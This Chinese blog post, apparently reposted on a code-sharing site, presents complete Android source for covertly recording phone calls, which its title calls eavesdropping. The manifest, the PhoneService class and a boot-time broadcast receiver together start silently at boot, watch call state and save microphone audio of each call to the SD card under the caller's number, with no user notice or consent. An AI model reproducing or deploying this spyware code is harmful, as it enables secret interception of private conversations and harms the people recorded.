zoukankan      html  css  js  c++  java
  • Android 实现电话录音(窃听)

    配置文件

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="codefans.app"
        android:versionCode="1"
        android:versionName="1.0" >
     
        <uses-sdk android:minSdkVersion="8" />
        
        <!-- 监听电话状态权限 -->
        <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
        
        <!-- 在SDCard中创建与删除文件权限 -->
        <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
        
        <!-- 在SDCard写入数据权限 -->
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
      
        <!-- 刻入声音权限 -->
        <uses-permission android:name="android.permission.RECORD_AUDIO"/>
        <application
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name" >
            <service android:name=".PhoneService"></service>
            <receiver android:name=".PhoneBroadcastReceiver">
                <intent-filter >
                   <action android:name="android.intent.action.BOOT_COMPLETED"/> <!-- 开机启动广播  -->
                </intent-filter>
            </receiver>
        </application>
      
    </manifest>
    public class PhoneService extends Service
    {
     
        @Override
        public IBinder onBind(Intent intent)
        {
            // TODO Auto-generated method stub
            return null;
        }
     
        @Override
        public void onCreate()
        {
            super.onCreate();
            
            TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
            
            telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);  //注册监听器 监听电话状态
        }
        
        
        private final class PhoneListener extends PhoneStateListener
        {
            private String incomeNumber;   //来电号码
            private MediaRecorder mediaRecorder;
            private File file;
            @Override
            public void onCallStateChanged(int state, String incomingNumber)
            {
                try
                {
                    switch(state)
                    {
                    case TelephonyManager.CALL_STATE_RINGING:   //来电
                        this.incomeNumber = incomingNumber;
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK:   //接通电话
                        file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMillis() + ".3gp");
                        mediaRecorder = new MediaRecorder();
                        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);   //获得声音数据源
                        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);   // 按3gp格式输出
                        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);   
                        mediaRecorder.setOutputFile(file.getAbsolutePath());   //输出文件
                        mediaRecorder.prepare();    //准备
                        mediaRecorder.start();
                        break;
                    
                    case TelephonyManager.CALL_STATE_IDLE:  //挂掉电话
                        if(mediaRecorder != null)
                        {
                            mediaRecorder.stop();
                            mediaRecorder.release();
                            mediaRecorder = null;
                        }
                        
                        break;
                    
                    }
                }
                catch (IllegalStateException e)
                {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
                catch (IOException e)
                {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
            
            
        }
        
     
    }
    public class PhoneBroadcastReceiver extends BroadcastReceiver
    {
     
        @Override
        public void onReceive(Context context, Intent intent)
        {
            Intent service = new Intent(context, PhoneService.class);
            context.startService(service);   //启动服务
        }
    
    }
  • 相关阅读:
    Android之旅十六 android中各种资源的使用
    XTU OJ 1207 Welcome to XTCPC (字符串签到题)
    scala并发编程原生线程Actor、Case Class下的消息传递和偏函数实战
    【云图】怎样设置支付宝里的家乐福全国连锁店地图?
    怎样在QML中使用multitouch
    软件project师周兆熊给IT学子的倾情奉献
    Linux系统下怎样配置SSH?怎样开启SSH?
    数学之路-python计算实战(4)-Lempel-Ziv压缩(2)
    Day5上午解题报告
    一份只有巨佬才能看懂的代码
  • 原文地址:https://www.cnblogs.com/zhujiabin/p/9681547.html
Copyright © 2011-2022 走看看